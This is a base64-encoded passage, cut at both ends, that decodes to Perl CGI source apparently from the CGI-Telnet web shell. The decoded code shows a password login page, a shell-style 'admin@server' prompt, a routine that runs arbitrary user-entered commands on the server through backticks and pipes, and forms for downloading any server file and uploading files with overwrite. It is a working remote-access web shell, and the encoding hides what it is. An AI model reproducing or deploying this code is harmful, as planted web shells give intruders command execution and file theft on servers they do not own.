bWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcn